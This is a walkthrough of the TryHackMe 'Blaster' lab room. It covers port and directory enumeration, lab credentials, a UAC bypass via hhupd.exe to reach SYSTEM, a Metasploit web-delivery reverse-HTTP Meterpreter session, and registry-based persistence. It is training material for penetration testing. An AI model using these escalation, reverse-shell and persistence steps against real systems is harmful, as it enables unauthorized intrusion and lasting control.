Tryhackme - Blaster

Tryhackme – Blaster

In this walk through, we will be going through the Blaster room from Tryhackme. This is a easy Windows box focusing again on basics and use of tools like Nmap, Gobuster and Metasploit. It also leverages a privilege section which gives some insight into Windows Priv esc realm. That’s it for a mandatory introduction of the box, without any delay, start the box and let’s get started.


Machine Info:

TitleBlaster v3
ObjectiveThroughout this room, we’ll be looking at alternative modes of exploitation without the use of Metasploit or really exploitation tools in general beyond nmap and dirbuster. To wrap up the room, we’ll be pivoting back to these tools for persistence and additional steps we can take. Without further delay, let’s deploy our target machine!

Task 1 – Mission Start!


Mission Start!

Task 2 – Activate Forward Scanners and Launch Proton Torpedoes

Question 1 – How many ports are open on our target system?

  • Firing up nmap with the following command to discover open ports and services. Specify the “-Pn” scan to skip the host ping as it is a Windows box and will not response the ICMP ECHO requests.

wh1terose@fsociety:~$ sudo nmap -Pn -sS -sV 
Starting Nmap 7.80 ( ) at 2023-04-27 21:47 IST
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0,, 16) => Operation not permitted
Offending packet: TCP > S ttl=56 id=36185 iplen=44  seq=821463711 win=1024 <mss 1460>
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0,, 16) => Operation not permitted
Offending packet: TCP > S ttl=52 id=32294 iplen=44  seq=821529246 win=1024 <mss 1460>
Nmap scan report for
Host is up (0.21s latency).
Not shown: 998 filtered ports
80/tcp   open  http          Microsoft IIS httpd 10.0
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 25.38 seconds
nmap scan


Question 2 – Looks like there’s a web server running, what is the title of the page we discover when browsing to it?

Web server title

 IIS Windows Server

Question 3 – Interesting, let’s see if there’s anything else on this web server by fuzzing it. What hidden directory do we discover?

  • To discover potential juicy endpoints and directories, use gobuster with the small Wordlist.

wh1terose@fsociety:~$ gobuster dir -u -w ~/Desktop/Wordlist/directory-small.txt 
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/wh1terose/Desktop/Wordlist/directory-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2023/04/27 21:56:17 Starting gobuster in directory enumeration mode
/retro                (Status: 301) [Size: 150] [-->]
Progress: 11379 / 87666 (12.98%) 

Gobuster scan


Question 4 – Navigate to our discovered hidden directory, what potential username do we discover?

Username found - Wade

Question 5 – Crawling through the posts, it seems like our user has had some difficulties logging in recently. What possible password do we discover?

Wade password


Question 6 – Log into the machine via Microsoft Remote Desktop (MSRDP) and read user.txt. What are it’s contents?


User flag

Task 2 - Activate Forward Scanners and Launch Proton Torpedoes

Task 3 – Breaching the Control Room

Now that we’ve gained access to our target system, let’s see if we can find a way to escalate. To start, let’s scout around the system to see if we can find anything of interest.

Question 1 – When enumerating a machine, it’s often useful to look at what the user was last doing. Look around the machine and see if you can find the CVE which was researched on this server. What CVE was it?


Question 2 – Looks like an executable file is necessary for exploitation of this vulnerability and the user didn’t really clean up very well after testing it. What is the name of this executable?


Question 3 – Research vulnerability and how to exploit it. Exploit it now to gain an elevated terminal!

  • Run the hhupd.exe on the Desktop with the Administrator privileges.

  • The UAC screen will pop up asking for the Administrator password. We need to bypass this, for that Click on “Show more details”.

UAC bypass
  • Next, click on “Show information about the publisher’s certificate”.
HTML Help ActiveX Control

  • Click OK to proceed for now.

Certificate information

  • Now save the Internet Explorer page window. Click on the gear icon and do a Save as.
Save as

  • Next Navigate to C:\WindowsSystem32. Select the cmd binary and execute by clicking save. We will got a command prompt with admin privileges.

Saving the page

Cmd binary

Command Shell

Question 4 – Now that we’ve spawned a terminal, let’s go ahead and run the command ‘whoami’. What is the output of running this?

nt authoritysystem

Machine rooted!

Question 5 – Now that we’ve confirmed that we have an elevated prompt, read the contents of root.txt on the Administrator’s desktop. What are the contents? Keep your terminal up after exploitation so we can use it in task four!

Root flag


Task 3 - Breaching the Control Room

Task 4 – Adoption into the Collective

Now that we’ve thoroughly compromised our target machine, let’s return to our exploitation tools so that we can gain remote shell access and persistence.

Question 1 – Return to your attacker machine for this next bit. Since we know our victim machine is running Windows Defender, let’s go ahead and try a different method of payload delivery! For this, we’ll be using the script web delivery exploit within Metasploit. Launch Metasploit now and select ‘exploit/multi/script/web_delivery’ for use.


wh1terose@fsociety:~$ msfconsole 
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|`.""'.
  II     6.     .P  :  .' / |  `.  :
  II     'T;. .;P'  '.'  /  |    `.'
  II      'T; ;P'    `. /   |    .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt

       =[ metasploit v6.3.13-dev-                         ]
+ -- --=[ 2311 exploits - 1205 auxiliary - 412 post       ]
+ -- --=[ 972 payloads - 46 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Start commands with a space to avoid saving 
them to history
Metasploit Documentation:

[*] Starting persistent handler(s)...
msf6 > use exploit/multi/script/web_deliver
[*] Using configured payload python/meterpreter/reverse_tcp

Matching Modules

   #  Name                               Disclosure Date  Rank    Check  Description
   -  ----                               ---------------  ----    -----  -----------
   0  exploit/multi/script/web_delivery  2013-07-19       manual  No     Script Web Delivery

Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/script/web_delivery

[*] Using exploit/multi/script/web_delivery
msf6 exploit(multi/script/web_delivery) > show targets

Exploit targets:

    Id  Name
    --  ----
=>  0   Python
    1   PHP
    2   PSH
    3   Regsvr32
    4   pubprn
    5   SyncAppvPublishingServer
    6   PSH (Binary)
    7   Linux
    8   Mac OS X

msf6 exploit(multi/script/web_delivery) > set target 2
target => 2
msf6 exploit(multi/script/web_delivery) > show options

Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST          yes       The local host or network interface to
                                       listen on. This must be an address on t
                                       he local machine or to listen o
                                       n all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (defau
                                       lt is randomly generated)
   URIPATH                   no        The URI to use for this exploit (defaul
                                       t is random)

Payload options (python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be s
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   PSH

View the full module info with the info, or info -d command.

msf6 exploit(multi/script/web_delivery) > set RHOST
[-] Unknown datastore option: RHOST. Did you mean LHOST?
msf6 exploit(multi/script/web_delivery) > set LHOST
msf6 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) > 
[*] Started HTTP reverse handler on
[-] Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (
msf6 exploit(multi/script/web_delivery) > set SRVPORT 8855
SRVPORT => 8855
msf6 exploit(multi/script/web_delivery) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) > 
[*] Started HTTP reverse handler on
[*] Using URL:
[*] Server started.
[*] Run the following command on the target machine:
msf6 exploit(multi/script/web_delivery) > [*]    web_delivery - Delivering AMSI Bypass (1395 bytes)
[*]    web_delivery - Delivering Payload (3884 bytes)
[*] handling request from; (UUID: 1tjytiqo) Staging x86 payload (176732 bytes) ...
[*] Meterpreter session 1 opened ( -> at 2023-04-27 22:38:38 +0530

Question 2 – First, let’s set the target to PSH (PowerShell). Which target number is PSH?

show targets


Question 3 – After setting your payload, set your lhost and lport accordingly such that you know which port the MSF web server is going to run on and that it’ll be running on the TryHackMe network.


setting options

Question 4 – Finally, let’s set our payload. In this case, we’ll be using a simple reverse HTTP payload. Do this now with the command: ‘set payload windows/meterpreter/reverse_http’. Following this, launch the attack as a job with the command ‘run -j’.


Question 5 – Return to the terminal we spawned with our exploit. In this terminal, paste the command output by Metasploit after the job was launched. In this case, I’ve found it particularly helpful to host a simple python web server (python3 -m http.server) and host the command in a text file as copy and paste between the machines won’t always work. Once you’ve run this command, return to our attacker machine and note that our reverse shell has spawned.


msf web delivery payload

Python http server

Powershell payload

Question 6 – Last but certainly not least, let’s look at persistence mechanisms via Metasploit. What command can we run in our meterpreter console to setup persistence which automatically starts when the system boots? Don’t include anything beyond the base command and the option for boot startup.


meterpreter > getuid
meterpreter > run persistence -h

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[-] The specified meterpreter session script could not be found: persistence
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/script/web_delivery) > use exploit/windows/local/persistence
use exploit/windows/local/persistence
use exploit/windows/local/persistence_image_exec_options
use exploit/windows/local/persistence_service
msf6 exploit(multi/script/web_delivery) > use exploit/windows/local/persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) > options

Module options (exploit/windows/local/persistence):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   DELAY     10               yes       Delay (in seconds) for persistent payloa
                                        d to keep reconnecting back.
   EXE_NAME                   no        The filename for the payload to be used
                                        on the target host (%RAND%.exe by defaul
   PATH                       no        Path to write payload (%TEMP% by default
   REG_NAME                   no        The name to call registry value for pers
                                        istence on target host (%RAND% by defaul
   SESSION                    yes       The session to run this module on
   STARTUP   USER             yes       Startup type for the persistent payload.
                                         (Accepted: USER, SYSTEM)
   VBS_NAME                   no        The filename to use for the VBS persiste
                                        nt script on the target host (%RAND% by

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, threa
                                        d, process, none)
   LHOST     yes       The listen address (an interface may be
   LPORT     4444             yes       The listen port

   **DisablePayloadHandler: True   (no handler will be created!)**

Exploit target:

   Id  Name
   --  ----
   0   Windows

View the full module info with the info, or info -d command.

msf6 exploit(windows/local/persistence) > set LHOST
msf6 exploit(windows/local/persistence) > exploit

[-] Msf::OptionValidateError The following options failed to validate: SESSION
msf6 exploit(windows/local/persistence) > set SESSION 1
msf6 exploit(windows/local/persistence) > exploit

[*] Running persistent module against RETROWEB via session ID: 1
[!] Note: Current user is SYSTEM & STARTUP == USER. This user may not login often!
[+] Persistent VBS script written on RETROWEB to C:WindowsTEMPAujnMbpvszV.vbs
[*] Installing as HKCUSoftwareMicrosoftWindowsCurrentVersionRunUbtEqzq
[+] Installed autorun on RETROWEB as HKCUSoftwareMicrosoftWindowsCurrentVersionRunUbtEqzq
[*] Clean up Meterpreter RC file: /home/wh1terose/.msf4/logs/persistence/RETROWEB_20230427.4840/RETROWEB_20230427.4840.rc
msf6 exploit(windows/local/persistence) > 

Question 7 – Run this command now with options that allow it to connect back to your host machine should the system reboot. Note, you’ll need to create a listener via the handler exploit to allow for this remote connection in actual practice. Congrats, you’ve now gain full control over the remote host and have established persistence for further operations!


Task 4 - Adoption into the Collective

Also Read: Tryhackme – Basic Pentesting



So that was the “Blaster” room walkthrough for you. We started off with a regular nmap scan. Then, we found a hidden directory using Gobuster. Navigating to the hidden directory reveals username – Wade and password – Parzival. Using the credentials on box’s RDP service, we found our user flag. Next, we used hhupd.exe exploit to escalate our privileges and finally got our root flag. The last set of questions goes through the Metasploit usage for the box. On that note, i out for a blast now, hope you will survive my bombings.

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